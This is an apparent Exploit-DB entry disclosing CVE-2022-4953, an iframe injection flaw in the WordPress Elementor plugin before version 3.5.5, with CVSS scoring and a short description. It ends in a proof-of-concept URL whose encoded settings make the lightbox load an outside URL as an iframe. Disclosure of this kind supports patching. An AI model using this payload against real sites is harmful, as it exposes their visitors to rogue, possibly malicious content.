Wordpress Plugin Elementor 3.5.5 - Iframe Injection

2023-09-0800:00:00

Miguel Santareno

www.exploit-db.com

261

iframe injection

elementor

cve-2022-4953

vulnerability

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.5 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

61.5%

JSON

# Exploit Title: Wordpress Plugin Elementor < 3.5.5 - Iframe Injection
# Date: 28.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K